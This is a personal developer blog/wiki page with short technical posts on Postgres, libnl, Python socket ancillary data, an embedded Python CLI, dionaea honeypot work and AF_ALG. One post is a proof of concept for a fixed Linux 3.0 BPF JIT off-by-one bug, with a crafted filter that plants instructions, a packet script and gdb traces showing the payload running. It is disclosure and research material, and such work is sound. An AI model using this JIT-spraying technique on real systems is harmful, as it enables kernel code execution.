Software at carnivore.it

dionaea

nepenthes

libemu

nebula

liblcfg


postgres reverse domain

Using generate_subscripts it is easily possible to reverse a domain like www.example.org to org.example.www using postgres plpgsql.

CREATE OR REPLACE FUNCTION rdomain(name VARCHAR) RETURNS VARCHAR AS $$
DECLARE
	parts VARCHAR[];
BEGIN
	parts = string_to_array(name, '.');
	RETURN array_to_string(
		ARRAY(
			SELECT 
				parts[i]
			FROM 
				generate_subscripts(parts,1,true) AS s(i)
		),
		'.'
	);
END
$$ LANGUAGE plpgsql;

Use like:
SELECT rdomain('www.example.org');
# org.example.www

In order to reverse a domain and remove some segments, e.g. www.example.org → org.example, generate_series can be used:

CREATE OR REPLACE FUNCTION rdomain(name VARCHAR, num int) RETURNS VARCHAR AS $$
DECLARE
	parts VARCHAR[];
BEGIN
	parts = string_to_array(name, '.');
	RETURN array_to_string(
		ARRAY(
			SELECT
				parts[i]
			FROM
				generate_series(
					array_upper(parts,1),
					array_upper(parts,1)-num+1,
					-1
				) AS s(i)
		),
		'.'
	);
END
$$ LANGUAGE plpgsql;

Use like:
SELECT rdomain('www.example.org', 2);
# org.example

Combining both, segments can be removed from a domain, e.g. www.example.org → example.org.

CREATE OR REPLACE FUNCTION basedomain(name VARCHAR, num int) RETURNS VARCHAR AS $$
BEGIN
	RETURN rdomain(rdomain(name, num))
END
$$ LANGUAGE plpgsql;

Use like:
SELECT basedomain('www.example.org', 2);
# example.org

libnl - example code

In case you need uptodate information of the addresses assigned to your active interfaces, talking to the kernel is required, and libnl helps understanding the kernel.

My case was as simple as it could be, live information of the active addresses on my interfaces. Last time I had to do this, I ended up reimplementing my own caches, even though libnl provides caches already. Not really my fault, the cache infrastructure provided by libnl lacked some certain pieces at that point of time, but things have changed.

As the libnl API is pretty large, and the lack of example code to learn from is really inconvenient, here is what I did.

First of all, create a nl_cache_mngr

	pl->socket = nl_socket_alloc();
	nl_cache_mngr_alloc(pl->socket, NETLINK_ROUTE, 0, &pl->mngr);
	nl_cache_mngr_add(pl->mngr, "route/link", (change_func_t)&change_cb, pl, &pl->links);
	nl_cache_mngr_add(pl->mngr, "route/addr", (change_func_t)&change_cb, pl, &pl->addrs);

We have to cast the change_func_t argument cb, as we pass function with different signature:

/*include/libnl3/netlink/cache-api.h*/
typedef void (*change_func_t)(struct nl_cache *, struct nl_object *, int, void *);
 
void change_cb(struct nl_cache *cache, struct nl_object *old, struct nl_object *obj, int action, void *arg)

The normal change_func_t only provides a single nl_object - the object which has changed, but we need to know which attribute has changed, and this is requires some special treatment.

python3.3 sendmsg/recvmsg

Starting with 3.3 python supports sendmsg as well as recvmsg.

Over the next lines, I'll outline how to use send/recvmsg on datagram sockets to

  • receive the destination address of a received packet
  • sent a packet using a defined source address

In case the socket is “connected” - using connect(), receiving the destination address is not required, as the socket is fixed to a single address, specifying a source address when sending a packet is not required too, the socket is already defined to serve a single host.

In case the socket is bound to 0.0.0.0 or ::, receiving the destination address allows using the same address as source address when responding to a packet. In case of multi homed setups, or IPv6 with temporary addresses, providing knowing the address a peer used to talk to us, and using the same address to sent data to the peer is required, as the peer may get the data from a different address else, and discard the data on arrival, as the src-host does not match the expectations.

Using recvmsg it is possible to retrieve the destination address of a incoming packet.

First, we have to tell the socket we want to receive this additional data. As the socket module lacks some constants, we need to define them too.

IP_PKTINFO = 8
IPV6_PKTINFO = 50
IPV6_RECVPKTINFO = 49
SOL_IPV6 = 41
 
def preparefromto(s):
	if s.family in (socket.AF_INET,socket.AF_INET6):
		s.setsockopt(socket.SOL_IP, IP_PKTINFO, 1)		
	if s.family == socket.AF_INET6:
		s.setsockopt(SOL_IPV6, IPV6_RECVPKTINFO, 1)

Now, recvmsg will carry the address of the remote peer, all we have to do is extracting this information.

Unfortunately the information is exported as a list of tuples, and the data in the tuples is bytes data. Therefore need to define some ctype Structures, so we can make use of the data returned by recvmsg.

uint32_t = ctypes.c_uint32
in_addr_t = uint32_t
 
class in_addr(ctypes.Structure):
	_fields_ = [('s_addr', in_addr_t)]
 
class in6_addr_U(ctypes.Union):
	_fields_ = [
		('__u6_addr8', ctypes.c_uint8 * 16),
		('__u6_addr16', ctypes.c_uint16 * 8),
		('__u6_addr32', ctypes.c_uint32 * 4),
	]
 
class in6_addr(ctypes.Structure):
	_fields_ = [
		('__in6_u', in6_addr_U),
	]
 
class in_pktinfo(ctypes.Structure):
	_fields_ = [
		('ipi_ifindex', ctypes.c_int),
		('ipi_spec_dst', in_addr),
		('ipi_addr', in_addr),
	]
 
class in6_pktinfo(ctypes.Structure):
    _fields_ = [
		('ipi6_addr', in6_addr),
		('ipi6_ifindex', ctypes.c_uint),
	]

Now, we can write a wrapper function for recvmsg, which will return the data, the source and destination host tuples.

For mapped IPv4, the destination address is not mapped IPv4 but plain IPv4, which is why we do not use the sockets family to limit the scope of SOL_IP to AF_INET.

def recvfromto(s):
	_to = None
	data, ancdata, msg_flags, _from = s.recvmsg(5120, socket.CMSG_LEN(5120 * 5))
	for anc in ancdata:
		if anc[0] == socket.SOL_IP and anc[1] == IP_PKTINFO:
			addr = in_pktinfo.from_buffer_copy(anc[2])
			addr = ipaddress.IPv4Address(memoryview(addr.ipi_addr).tobytes())
			_to = (str(addr),s.getsockname()[1])
		elif anc[0] == SOL_IPV6 and anc[1] == IPV6_PKTINFO:
			addr = in6_pktinfo.from_buffer_copy(anc[2])
			addr = ipaddress.ip_address(memoryview(addr.ipi6_addr).tobytes())
			_to = (str(addr),s.getsockname()[1])
	return data,_from,_to

The new python module ipaddress capability to parse ip addresses from bytes come in very handy here.

As recvfromto works, we can get over to wrap sendmsg into a function which allows providing the source address - sendtofrom. sendtofrom takes a socket, the data, the destination and source information as arguments, sets up the required data for sendmsg and returns the result of sendmsg.

def sendtofrom(s, _data, _to, _from):
	ancdata = []
	if type(_from) == tuple:
		_from = _from[0]
	addr = ipaddress.ip_address(_from)
	if type(addr) == ipaddress.IPv4Address:
		_f = in_pktinfo()
		_f.ipi_spec_dst = in_addr.from_buffer_copy(addr.packed)
		ancdata = [(socket.SOL_IP, IP_PKTINFO, memoryview(_f).tobytes())]
	elif s.family == socket.AF_INET6 and type(addr) == ipaddress.IPv6Address:
		_f = in6_pktinfo()
		_f.ipi6_addr = in6_addr.from_buffer_copy(addr.packed)
		ancdata = [(SOL_IPV6, IPV6_PKTINFO, memoryview(_f).tobytes())]
	return s.sendmsg([_data], ancdata, 0, _to)

Once again ipaddress is used, here to retrieve the bytes of the address.

Full testing is rather complicated, it requires two hosts, A and B. A and B need to be able to connect each via IPv4 and IPv6. A will be used to connect our “test” service on B. B requires multiple IPv4 and IPv6 addresses, each of those addresses needs to reachable from A.

To test IPv6:

if __name__ == '__main__':
	r = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
	r.bind(("::", 5005))
	preparefromto(r)		
 
	while True:
		a = recvfromto(r)
		print(a)
		data,_from,_to = a
		print(sendtofrom(r, data, _from, _to[0]))

Using nc6 to connect to B from A and typing something will return the data, for every address B has and which is reachable from A - even IPv4 (use nc for IPv4). IPv4 is mapped in such cases.

For IPv4:

if __name__ == '__main__':
	r = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	r.bind(("0.0.0.0", 5005))
	preparefromto(r)		
 
	while True:
		a = recvfromto(r)
		print(a)
		data,_from,_to = a
		print(sendtofrom(r, data, _from, _to[0]))

This way it is possible to create a multi-homed udp service for many clients using a single socket.

For the ease of use … the full code:

Click to display ⇲

Click to hide ⇱

Click to hide ⇱

import ctypes
import socket
import ipaddress
 
IP_PKTINFO = 8
IPV6_PKTINFO = 50
IPV6_RECVPKTINFO = 49
SOL_IPV6 = 41
 
uint32_t = ctypes.c_uint32
in_addr_t = uint32_t
 
class in_addr(ctypes.Structure):
	_fields_ = [('s_addr', in_addr_t)]
 
class in6_addr_U(ctypes.Union):
	_fields_ = [
    	('__u6_addr8', ctypes.c_uint8 * 16),
    	('__u6_addr16', ctypes.c_uint16 * 8),
    	('__u6_addr32', ctypes.c_uint32 * 4),
	]
 
class in6_addr(ctypes.Structure):
	_fields_ = [
    	('__in6_u', in6_addr_U),
	]
 
class in_pktinfo(ctypes.Structure):
	_fields_ = [
		('ipi_ifindex', ctypes.c_int),
		('ipi_spec_dst', in_addr),
		('ipi_addr', in_addr),
	]
 
class in6_pktinfo(ctypes.Structure):
    _fields_ = [
    	('ipi6_addr', in6_addr),
    	('ipi6_ifindex', ctypes.c_uint),
	]
 
def preparefromto(s):
	if s.family in (socket.AF_INET,socket.AF_INET6):
		s.setsockopt(socket.SOL_IP, IP_PKTINFO, 1)		
	if s.family == socket.AF_INET6:
		s.setsockopt(SOL_IPV6, IPV6_RECVPKTINFO, 1)
 
def recvfromto(s):
	_to = None
	data, ancdata, msg_flags, _from = s.recvmsg(5120, socket.CMSG_LEN(5120 * 5))
	for anc in ancdata:
		if anc[0] == socket.SOL_IP and anc[1] == IP_PKTINFO:
			addr = in_pktinfo.from_buffer_copy(anc[2])
			addr = ipaddress.IPv4Address(memoryview(addr.ipi_addr).tobytes())
			_to = (str(addr),s.getsockname()[1])
		elif anc[0] == SOL_IPV6 and anc[1] == IPV6_PKTINFO:
			addr = in6_pktinfo.from_buffer_copy(anc[2])
			addr = ipaddress.ip_address(memoryview(addr.ipi6_addr).tobytes())
			_to = (str(addr),s.getsockname()[1])
	return data,_from,_to
 
def sendtofrom(s, _data, _to, _from):
	ancdata = []
	if type(_from) == tuple:
		_from = _from[0]
	addr = ipaddress.ip_address(_from)
	if type(addr) == ipaddress.IPv4Address:
		_f = in_pktinfo()
		_f.ipi_spec_dst = in_addr.from_buffer_copy(addr.packed)
		ancdata = [(socket.SOL_IP, IP_PKTINFO, memoryview(_f).tobytes())]
	elif s.family == socket.AF_INET6 and type(addr) == ipaddress.IPv6Address:
		_f = in6_pktinfo()
		_f.ipi6_addr = in6_addr.from_buffer_copy(addr.packed)
		ancdata = [(SOL_IPV6, IPV6_PKTINFO, memoryview(_f).tobytes())]
	return s.sendmsg([_data], ancdata, 0, _to)
 
 
class xsocket(socket.socket):
	def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0):
		socket.socket.__init__(self, family, type, proto)
		preparefromto(self)
	def recvfromto(self):
		return recvfromto(self)
	def sendtofrom(self, data, _to, _from):
		return sendtofrom(self, data, _to, _from)
 
 
if __name__ == '__main__':
	r = xsocket(socket.AF_INET6, socket.SOCK_DGRAM)
	r.bind(("::", 5005))
	while True:
		a = r.recvfromto()
		print(a)
		data,_from,_to = a
		print(r.sendtofrom(data, _from, _to))
		print(_to)

embedding python cli in python scripts

Just in case you ever wanted to debug your python service interactively, and pdb did not do the job you've been looking for, how about the standard python interpreter on stdin?

The one below basically wraps PyRun_InteractiveOne via ctypes, sets some tty modes, things not that interesting, they just have to work.

But, it even autocompletes on tab, and restores the tty settings via atexit.

Combined with objgraph1), this is was rather valueable to me. For objgraph, use python 3.3 and replace __name__ in objgraph with __qualname__2).

Given I was unable to find something, here is the code.

pyev3) can be replaced with your favourite event loop easily - it is just a single socket to poll for readability.

cli.py
#!/usr/bin/python3.2
 
import pyev
import sys
 
class cli:
	def __init__(self, loop):
		sys.ps1 = ">>>"
		sys.ps2 = "..."
 
		import ctypes
		libc = ctypes.cdll.LoadLibrary("libc.so.6")
		libc.fdopen.restype = ctypes.c_void_p
		libc.fdopen.argtype = [ctypes.c_int, ctypes.c_char_p]
		self.stdin = libc.fdopen(sys.stdin.fileno(),"r")
		self._io = pyev.Io(sys.stdin.fileno(), pyev.EV_READ, loop, self._io_cb)
		self._io.start()
 
		import termios
		# [iflag, oflag, cflag, lflag, ispeed, ospeed, cc] 
		self.read_termios = termios.tcgetattr(sys.stdin.fileno());
		self.poll_termios = termios.tcgetattr(sys.stdin.fileno());
 
		self.read_termios[3] |=  (termios.ICANON|termios.ECHOCTL|termios.ECHO);
		self.poll_termios[3] &= ~(termios.ICANON|termios.ECHOCTL|termios.ECHO);
 
		try:
			import readline
		except ImportError:
			print("Module readline not available.")
		else:
			import rlcompleter
			readline.parse_and_bind("tab: complete")
 
		import atexit
		atexit.register(self._atexit)
 
	def _atexit(self):		
		self.mode(self.read_termios)
 
	def setblocking(self,blocking):
		import fcntl
		import os
		if blocking == True:
			fcntl.fcntl(sys.stdin.fileno(), fcntl.F_SETFL, fcntl.fcntl(sys.stdin.fileno(), fcntl.F_GETFL) | os.O_NONBLOCK)
		else:
			fcntl.fcntl(sys.stdin.fileno(), fcntl.F_SETFL, fcntl.fcntl(sys.stdin.fileno(), fcntl.F_GETFL) & ~os.O_NONBLOCK)
 
	def mode(self, m):
		import termios
		termios.tcsetattr(sys.stdin.fileno(), termios.TCSANOW, m)
 
	def _io_cb(self, watcher, revents):
		from ctypes import pythonapi
		self.mode(self.read_termios)
#		self.setblocking(False)
#		nonblocking stdin causes very interesting problems here!
 
		pythonapi.PyRun_InteractiveOne(self.stdin, b"<stdin>")
 
#		self.setblocking(True)
#		even if disabled during runtime operation
 
		self.mode(self.poll_termios)
 
if __name__ == '__main__':
	loop = pyev.default_loop()
	c = cli(loop)
 
	def signals(watcher, revents):
		watcher.loop.stop()
 
	import signal
	sigint = pyev.Signal(signal.SIGINT, loop, signals)
	sigint.start()
 
	loop.start()
	sys.exit(0)
1) objgraph is a module that lets you visually explore Python object graphs.
3) pyev Python libev interface

bpf performance

about bpf

The BSD or Berkely Packet Filter is a register-based filter evaluator and network tap invented 1990 by Steven McCanne and Van Jacobson to replace the CMU/Stanford Packet Filter (CSPF) and Sun NIT filter technology with a faster alternative1). While bpf consists of two components, the filter evaluator and the network tap, we'll ignore the network tap and focus on the filter evaluator instead.

linux 3.0 bpf jit x86_64 exploit

The bug is fixed already 1), so lets look into the details. For long conditional jumps the jit compiler would create an jump offset off by one, so we would jump into the instruction instead of infront of the instruction.

Taking the filter which made me notice the problem: ”(tcp and portrange 0-1024) or (udp and portrange 1025-2048)”

The relevant part of the bpf filter

(008) jge      #0x0             jt 26   jf 38
...
(026) jgt      #0x400           jt 38   jf 37

and the relevant part of the jit code

00000062  83F800            cmp eax,byte +0x0
00000065  0F83A2000000      jnc dword 0x10d
...
0000010C  3D00040000        cmp eax,0x400

jnc dword 0x10d is off-by-one.

As we got a pointer to the packet within the jit on r8 2) anyway, idea would be executing the packets payload. All we've have to do is increase r8 by 24 (for a udp packet on linktype 1), and call r8. While we have a bpf instruction which will cause the jit to emit a static byte, followed by 4 static bytes defined by the filter

#define EMIT1_off32(b1, off)	do { EMIT1(b1); EMIT(off, 4);} while (0)

, we want to execute:

00000000  4983C02A          add r8,byte +0x2a
00000004  41FFD0            call r8

We'd need more than 4 bytes, so lets copy r8 to r10 first trigger the bug multiple times -once for each instruction required- to create a valid pointer to the payload.

00000000  4D89C2            mov r10,r8
00000003  4983C22A          add r10,byte +0x2a
00000007  41FFD2            call r10

Now, lets emit code,

jeq	#0x90C2894D,label_pmov0,label_pmov1

would emit

00000000  3D4D89C290        cmp eax,0x90c2894d
00000005  741F              jz label_pmov0
00000007  EB2B              jmp short label_pmov1

the call would jump to 00000001, executing:

00000000  4D89C2            mov r10,r8
00000003  90                nop  
00000005  740C              jz label_pmov0
00000007  EB18              jmp short label_pmov1

So, the real magic for this bug is in the filter:
dot graph of the filter - click to enlarge
As you can see on the callgraph of the filter, it will execute the very same instructions independent of the result of the comparisons.

ldh	[0]
jge	#0x0,label_movt,label_movf
 
/* waste some space to enforce a jnc dword */
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
 
label_movt:
/* 4D89C2            mov r10,r8 */
jeq	#0x90C2894D,label_pmov0,label_pmov1
ldh	[0]
 
label_movf: 
/* 4D89C2            mov r10,r8 */
jeq	#0x90C2894D,label_pmov0,label_pmov1
ldh	[0]
 
label_pmov0:
jge	#0x0,label_addt,label_addf
label_pmov1:
jge	#0x0,label_addt,label_addf
 
/* waste some space to enforce a jnc dword */
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
 
label_addt:
/* 4983C22A          add r10,byte +0x2a */
jeq	#0x2AC28349,label_padd0,label_padd1
 
label_addf:
/* 4983C22A          add r10,byte +0x2a */
jeq	#0x2AC28349,label_padd0,label_padd1
ldh	[0]
 
label_padd0:
jge	#0x0,label_callt,label_callf
label_padd1:
jge	#0x0,label_callt,label_callf
 
/* waste some space to enforce a jnc dword */
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
ldh	[0]
 
label_callt:
/* 41FFD2            call r10 */
jeq	#0x90D2FF41,label_ret0,label_ret1
 
label_callf:
/* 41FFD2            call r10 */
jeq	#0x90D2FF41,label_ret0,label_ret1
 
ldh	[0]
 
label_ret0:
ret	a
label_ret1:
ret	a

I compiled this filter with a modified version of bpfc to allow comments, will provide the patch upstream.

To demonstrate possible exploitation of this bug, lets create a udp packet with payload INT3.

import bpf
from scapy.all import Ether,IP,IPv6,TCP,UDP,fuzz,RandIP,RandIP6,RandMAC,RandString,Raw
a = bpf.pcap_file()
a.create("payload.pcap",linktype=1,snaplen=16*1024)
p = Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/UDP(sport=53,dport=1111)/Raw('\xcc'*512)
a.write(p.build())
a.close()

Porting the kernel jit to userspace, running in gdb and breakpoint on the jit code:

=> 0x7ffff7fd5001:	mov    rbp,rsp
=> 0x7ffff7fd5004:	sub    rsp,0x60
=> 0x7ffff7fd5008:	mov    QWORD PTR [rbp-0x8],rbx
=> 0x7ffff7fd500c:	mov    r9d,DWORD PTR [rdi+0x0]
=> 0x7ffff7fd5010:	sub    r9d,DWORD PTR [rdi+0x4]
=> 0x7ffff7fd5014:	mov    r8,QWORD PTR [rdi+0x8]
=> 0x7ffff7fd5018:	mov    esi,0x0
=> 0x7ffff7fd501d:	call   0x7ffff7369bd5 <sk_load_half>
=> 0x7ffff7fd5022:	cmp    eax,0x0
=> 0x7ffff7fd5025:	jae    0x7ffff7fd50b3
=> 0x7ffff7fd50b3:	mov    r10,r8
=> 0x7ffff7fd50b6:	nop
=> 0x7ffff7fd50b7:	je     0x7ffff7fd50d8
=> 0x7ffff7fd50b9:	jmp    0x7ffff7fd50e6
=> 0x7ffff7fd50e6:	cmp    eax,0x0
=> 0x7ffff7fd50e9:	jae    0x7ffff7fd5177
=> 0x7ffff7fd5177:	add    r10,0x2a
=> 0x7ffff7fd517b:	je     0x7ffff7fd5192
=> 0x7ffff7fd517d:	jmp    0x7ffff7fd51a0
=> 0x7ffff7fd51a0:	cmp    eax,0x0
=> 0x7ffff7fd51a3:	jae    0x7ffff7fd5231
=> 0x7ffff7fd5231:	call   r10
=> 0x618c6a:	int3   

Looking on the executed code, we could have worked with r8 directly instead.

Exploitability .., to attach the filter to a socket in the kernel, you need local root - any further questions?

SSL routines:SSL23_GET_SERVER_HELLO:reason(1112)

I've had some problems with ssl lately, here is what I found to be the problem/solution.

Problem

The problem is pretty easy, inability to access https services, mwanalysis.org may serve as an example here.

Python

I was able to reproduce the problem using python(3.2):

import urllib.request
url="https://mwanalysis.org"
a = urllib.request.urlopen(url)
Traceback (most recent call last):
  File "/opt/dionaea/lib/python3.2/urllib/request.py", line 1122, in do_open
    h.request(req.get_method(), req.selector, req.data, headers)
  File "/opt/dionaea/lib/python3.2/http/client.py", line 964, in request
    self._send_request(method, url, body, headers)
  File "/opt/dionaea/lib/python3.2/http/client.py", line 1002, in _send_request
    self.endheaders(body)
  File "/opt/dionaea/lib/python3.2/http/client.py", line 960, in endheaders
    self._send_output(message_body)
  File "/opt/dionaea/lib/python3.2/http/client.py", line 805, in _send_output
    self.send(msg)
  File "/opt/dionaea/lib/python3.2/http/client.py", line 743, in send
    self.connect()
  File "/opt/dionaea/lib/python3.2/http/client.py", line 1105, in connect
    server_hostname=server_hostname)
  File "/opt/dionaea/lib/python3.2/ssl.py", line 168, in wrap_socket
    _context=self)
  File "/opt/dionaea/lib/python3.2/ssl.py", line 254, in __init__
    raise x
  File "/opt/dionaea/lib/python3.2/ssl.py", line 250, in __init__
    self.do_handshake()
  File "/opt/dionaea/lib/python3.2/ssl.py", line 429, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [Errno 1] _ssl.c:390: error:14077458:SSL routines:SSL23_GET_SERVER_HELLO:reason(1112)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/opt/dionaea/lib/python3.2/urllib/request.py", line 138, in urlopen
    return opener.open(url, data, timeout)
  File "/opt/dionaea/lib/python3.2/urllib/request.py", line 366, in open
    response = self._open(req, data)
  File "/opt/dionaea/lib/python3.2/urllib/request.py", line 384, in _open
    '_open', req)
  File "/opt/dionaea/lib/python3.2/urllib/request.py", line 344, in _call_chain
    result = func(*args)
  File "/opt/dionaea/lib/python3.2/urllib/request.py", line 1156, in https_open
    context=self._context, check_hostname=self._check_hostname)
  File "/opt/dionaea/lib/python3.2/urllib/request.py", line 1125, in do_open
    raise URLError(err)
urllib.error.URLError: <urlopen error [Errno 1] _ssl.c:390: error:14077458:SSL routines:SSL23_GET_SERVER_HELLO:reason(1112)>

SIP

Taking part in gsoc11 The Honeynet Project offered a project to improve dionaea's SIP stack. PhiBo, the student who got accepted on this project had contributed to dionaea before, and even though I initially choose not to mentor the GSoC dionaea SIP project, given my lack in expertise in SIP, I've been working closely with him to make sure the final results are usable.
Working with him was fun, I think both of us have learned something and - even more important - the code written exceeded my expectations.

pnrp for you

Given the code started rotting on my disk, I decided to put it on the interwebs.
I even wrote a README which covers some basic aspects.
For more information please refer to my first post on pnrp.

If you can make something of it - enjoy it.

the mysql cmdshelv

I pushed some final mysql fixes for dionaea yesterday, and just had a look on the ore if there was some activity already.
Yes, there was some activity.

Extending Dionaea

Even though there is little action on tcp/3306 I choose MySQL as a protocol to show how to extend dionaea.
Over the next lines, we'll implement parts of the MySQL wire protocol for a MySQL service using scapy.

OpenSSL - AF_ALG

Kernel 2.6.38 introduced an API to access the kernel crypto API from userspace. While there was a port of BSD's cryptodev for linux which basically provides the same functionality, the cryptodev code never made it into the mainline of the kernel.

Accessing the kernels crypto API from userspace allows making use of crypto hardware, which can't be accessed from userspace directly. Hardware accelerated cryptography as provided by VIA Padlock1) and Intel AES-NI2) can be accessed from userspace directly, so you do not need AF_ALG at all, but AMD Geode processors AES cryptography is - contrary to Padlock and AES-NI - not an instruction3) and therefore can't be accessed from userspace.
You may be interested in the discussion of af_alg vs cryptodev performance 4) and the raw numbers and benchmarking software too 5).

As I own AMD Geode powered hardware (ALIX), I decided to play with AF_ALG.

start.txt · Last modified: 2010/10/13 12:09 by common
chimeric.de = chi`s home Creative Commons License Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0